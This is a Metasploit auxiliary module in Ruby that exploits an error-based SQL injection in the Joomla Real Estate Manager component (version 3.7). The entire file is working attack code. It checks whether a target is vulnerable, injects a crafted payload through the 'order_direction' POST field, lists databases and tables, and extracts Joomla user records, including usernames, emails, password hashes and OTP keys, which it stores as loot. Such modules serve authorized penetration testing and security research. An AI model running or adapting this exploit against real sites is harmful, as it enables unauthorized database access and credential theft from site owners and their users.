joomla plugin com_realestatemanager Error Based SQL Ijnection
nixawk
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##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit4 < Msf::Auxiliary
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include Msf::Auxiliary::Report
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Joomla Real Estate Manager Component Error-Based SQL Injection',
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'Description' => %q{
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This module exploits a SQL injection vulnerability in Joomla Plugin
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com_realestatemanager versions 3.7 in order to either enumerate
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usernames and password hashes.
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},
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'References' =>
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[
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['EDB', '38445']
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],
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'Author' =>
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[
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'Omer Ramic', # discovery
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'Nixawk', # metasploit module
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],
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'License' => MSF_LICENSE,
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'DisclosureDate' => 'Oct 22 2015'
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))
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register_options(
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[
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OptString.new('TARGETURI', [true, 'The relative URI of the Joomla instance', '/'])
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], self.class)
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end
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def check
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flag = Rex::Text.rand_text_alpha(5)
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payload = "0x#{flag.unpack('H*')[0]}"
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data = sqli(payload)
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if data && data.include?(flag)
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Msf::Exploit::CheckCode::Vulnerable
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else
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Msf::Exploit::CheckCode::Safe
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end
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end
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def sqli(query)
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lmark = Rex::Text.rand_text_alpha(5)
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rmark = Rex::Text.rand_text_alpha(5)
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payload = '(SELECT 6062 FROM(SELECT COUNT(*),CONCAT('
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payload << "0x#{lmark.unpack('H*')[0]},"
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payload << '%s,'
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payload << "0x#{rmark.unpack('H*')[0]},"
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payload << 'FLOOR(RAND(0)*2)'
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payload << ')x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)'
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get = {
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'option' => 'com_realestatemanager',
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'task' => 'showCategory',
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'catid' => '50',
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'Itemid' => '132'
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}
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res = send_request_cgi({
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'uri' => normalize_uri(target_uri.path, 'index.php'),
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'vars_get' => get,
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})
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if res && res.code == 200
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cookie = res.get_cookies
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post = {
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'order_field' => 'price',
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'order_direction' => 'asc,' + (payload % query)
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}
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res = send_request_cgi({
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'uri' => normalize_uri(target_uri.path, 'index.php'),
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'method' => 'POST',
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'cookie' => cookie,
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'vars_get' => get,
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'vars_post' => post
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})
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# Error based SQL Injection
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if res && res.code == 500 && res.body =~ /#{lmark}(.*)#{rmark}/
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$1
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end
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end
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end
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def query_databases
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dbs = []
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query = '(SELECT IFNULL(CAST(COUNT(schema_name) AS CHAR),0x20) '
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query << 'FROM INFORMATION_SCHEMA.SCHEMATA)'
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dbc = sqli(query)
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query_fmt = '(SELECT MID((IFNULL(CAST(schema_name AS CHAR),0x20)),1,54) '
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query_fmt << 'FROM INFORMATION_SCHEMA.SCHEMATA LIMIT %d,1)'
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0.upto(dbc.to_i - 1) do |i|
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dbname = sqli(query_fmt % i)
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dbs << dbname
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vprint_good(dbname)
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end
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%w(performance_schema information_schema mysql).each do |dbname|
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dbs.delete(dbname) if dbs.include?(dbname)
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end
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dbs
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end
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def query_tables(database)
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tbs = []
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query = '(SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) '
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query << 'FROM INFORMATION_SCHEMA.TABLES '
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query << "WHERE table_schema IN (0x#{database.unpack('H*')[0]}))"
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tbc = sqli(query)
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query_fmt = '(SELECT MID((IFNULL(CAST(table_name AS CHAR),0x20)),1,54) '
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query_fmt << 'FROM INFORMATION_SCHEMA.TABLES '
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query_fmt << "WHERE table_schema IN (0x#{database.unpack('H*')[0]}) "
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query_fmt << 'LIMIT %d,1)'
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vprint_status('tables in database: %s' % database)
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0.upto(tbc.to_i - 1) do |i|
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tbname = sqli(query_fmt % i)
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vprint_good(tbname)
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tbs << tbname if tbname =~ /_users$/
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end
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tbs
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end
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def query_columns(database, table)
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cols = []
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query = "(SELECT IFNULL(CAST(COUNT(*) AS CHAR),0x20) FROM #{database}.#{table})"
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colc = sqli(query)
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vprint_status(colc)
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valid_cols = [ # joomla_users
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'activation',
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'block',
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'email',
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'id',
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'lastResetTime',
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'lastvisitDate',
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'name',
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'otep',
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'otpKey',
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'params',
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'password',
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'registerDate',
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'requireReset',
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'resetCount',
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'sendEmail',
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'username'
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]
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query_fmt = '(SELECT MID((IFNULL(CAST(%s AS CHAR),0x20)),%d,54) '
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query_fmt << "FROM #{database}.#{table} ORDER BY id LIMIT %d,1)"
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0.upto(colc.to_i - 1) do |i|
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record = {}
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valid_cols.each do |col|
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l = 1
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record[col] = ''
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loop do
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value = sqli(query_fmt % [col, l, i])
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break if value.blank?
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record[col] << value
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l += 54
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end
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end
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cols << record
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vprint_status(record.to_s)
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end
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cols
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end
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def run
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dbs = query_databases
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dbs.each do |db|
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tables = query_tables(db)
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tables.each do |table|
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cols = query_columns(db, table)
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next if cols.blank?
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path = store_loot(
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'joomla.users',
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'text/plain',
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datastore['RHOST'],
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cols.to_json,
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'joomla.users')
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print_good('Saved file to: ' + path)
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end
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end
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end
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end
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